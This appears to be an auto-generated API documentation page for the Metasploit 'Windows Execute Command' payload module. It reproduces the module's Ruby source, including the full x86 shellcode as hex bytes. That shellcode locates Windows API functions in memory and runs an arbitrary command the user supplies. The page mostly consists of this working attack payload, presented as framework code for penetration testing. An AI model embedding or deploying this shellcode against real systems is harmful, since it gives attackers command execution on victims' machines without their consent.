Module: Msf::Payload::Windows::Exec

Includes:
Single, Msf::Payload::Windows
Defined in:
lib/msf/core/payload/windows/exec.rb

Overview

Common command execution implementation for Windows.

Instance Method Summary collapse

Methods included from Single

#payload_type

Methods included from Msf::Payload::Windows

#apply_prepends, exit_types, #handle_intermediate_stage, #include_send_uuid, #replace_var

Methods included from PrependMigrate

#apply_prepend_migrate, #prepend_migrate, #prepend_migrate?, #prepend_migrate_64

Instance Method Details

#command_stringObject

Returns the command string to use for execution

[View source]

67
68
69
# File 'lib/msf/core/payload/windows/exec.rb', line 67

def command_string
  return datastore['CMD'] || ''
end

#generate(_opts = {}) ⇒ Object

Constructs the payload

[View source]

60
61
62
# File 'lib/msf/core/payload/windows/exec.rb', line 60

def generate(_opts = {})
  return super + command_string + "\x00"
end

#initialize(info = {}) ⇒ Object

[View source]

16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# File 'lib/msf/core/payload/windows/exec.rb', line 16

def initialize(info = {})
  super(update_info(info,
    'Name'          => 'Windows Execute Command',
    'Description'   => 'Execute an arbitrary command',
    'Author'        => [ 'vlad902', 'sf' ],
    'License'       => MSF_LICENSE,
    'Platform'      => 'win',
    'Arch'          => ARCH_X86,
    'PayloadCompat' =>
      {
        'Convention' => '-passivex -http -https',
      },
    'Payload'       =>
      {
        'Offsets' =>
          {
            'EXITFUNC' => [ 154, 'V' ]
          },
        'Payload' =>
          "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" +
          "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" +
          "\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" +
          "\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" +
          "\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" +
          "\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" +
          "\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" +
          "\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" +
          "\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x6A\x01\x8D\x85\xB2\x00\x00" +
          "\x00\x50\x68\x31\x8B\x6F\x87\xFF\xD5\xBB\xE0\x1D\x2A\x0A\x68\xA6" +
          "\x95\xBD\x9D\xFF\xD5\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47" +
          "\x13\x72\x6F\x6A\x00\x53\xFF\xD5"
      }
    ))

  # Register command execution options
  register_options(
    [
      OptString.new('CMD', [ true, "The command string to execute" ]),
    ], Msf::Payload::Windows::Exec)
end